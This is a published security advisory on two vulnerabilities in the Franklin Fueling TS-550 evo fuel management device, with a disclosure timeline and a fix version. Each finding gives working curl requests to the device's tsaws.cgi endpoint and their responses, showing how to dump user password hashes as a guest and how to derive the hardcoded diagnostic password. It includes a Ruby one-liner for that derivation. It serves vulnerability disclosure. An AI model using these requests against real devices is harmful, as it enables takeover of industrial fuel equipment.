Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities

Trustwave's SpiderLabs Security Advisory TWSL2014-001:

Multiple Vulnerabilities in Franklin Fueling's TS-550 evo



Published: 01/03/2014

Version: 1.0



Vendor: Franklin Fueling Systems (http://www.franklinfueling.com/)

Product: TS-550 evo device

Version affected:  Firmware 2.0.0.6833 confirmed.  Affects prior to version

2.4.0



Product description:

A fuel management system with a programmable interface used for inventory

and delivery management.



Finding 1: Insufficient Access Control

Credit: Nate Drier and Matt Jakubowski of Trustwave SpiderLabs

CVE: CVE-2013-7247

CWE: CWE-200



As the Guest user (the lowest privilege), a user can post the

cmdWebGetConfiguration parameter to cgi-bin/tsaws.cgi. This will return the

usernames and password hashes (in DES format) for all users of the

application. Once dumped, they can be cracked and used to access

authenticated portions of the application.





#Request



curl -H "Content-Type:text/xml" --data '<TSA_REQUEST_LIST><TSA_REQUEST COMMAND="cmdWebGetConfiguration"/></TSA_REQUEST_LIST>' http://<ip>:10001/cgi-bin/tsaws.cgi



#Response



<TSA_RESPONSE_LIST VERSION="2.0.0.6833" TIME_STAMP="2013-02-19T22:09:22Z" TIME_STAMP_LOCAL="2013-02-19T17:09:22" KEY="11111111" ROLE="roleGuest"><TSA_RESPONSE COMMAND="cmdWebGetConfiguration"><CONFIGURATION>

    <DEBUGGING LOGGING_ENABLED="false" LOGGING_PATH="/tmp"/>

    <ROLE_LIST>

        <ROLE NAME="roleAdmin" PASSWORD="YrKMc2T2BuGvQ"/>

        <ROLE NAME="roleUser" PASSWORD="2wd2DlEKUPTr2"/>

        <ROLE NAME="roleGuest" PASSWORD="YXFCsq2GXFQV2"/>

    </ROLE_LIST>

</CONFIGURATION></TSA_RESPONSE></TSA_RESPONSE_LIST>



Finding 2: Hardcoded Technician Credentials

Credit: Nate Drier and Matt Jakubowski of Trustwave SpiderLabs

CVE: CVE-2013-7248

CWE: CWE-798



The three primary users on the TS550 are roleGuest, roleUser, and

roleAdmin.  Another user exists with additional access named roleDiag. This

user can access extra portions of the application such as the command line

interface, enable and disable SSH, as well as run SQL commands all from the

web interface.  The CLI interface includes the ability to run engineering

and manufacturing commands.  The password for roleDiag is the key (a value

returned with every POST request to tsaws.cgi) DES encrypted.  This can be

done in Ruby:





$ irb

1.9.3p374 :001 > "11111111".crypt("aa")

 => "aaDTlAa1fGGC."



#Request



curl -H "Content-Type:text/xml" --data '<TSA_REQUEST_LIST PASSWORD="aaDTlAa1fGGC."><TSA_REQUEST COMMAND="cmdWebCheckRole"/></TSA_REQUEST_LIST>' http://<ip>:10001/cgi-bin/tsaws.cgi



#Response (note the ROLE)



<TSA_RESPONSE_LIST VERSION="2.0.0.6833" TIME_STAMP="2013-03-04T16:53:01Z" TIME_STAMP_LOCAL="2013-03-04T11:53:01" KEY="11111111" ROLE="roleDiag"><TSA_RESPONSE COMMAND="cmdWebCheckRole"></TSA_RESPONSE></TSA_RESPONSE_LIST>



The password can then be used to run various roleDiag commands. An attacker

can enable SSH, and since root's password is the same as roleAdmin, they

can completely compromise the device.



Remediation Steps:

According to Franklin Fueling, version 2.4.0 mitigates these

vulnerabilities. However, Trustwave SpiderLabs have not verified this fix.





Revision History:

04/16/13 - Vulnerability disclosed to vendor

12/18/13 - Fix released on a limited basis by vendor

01/03/14 - Advisory published



References

1. http://www.franklinfueling.com/evo/





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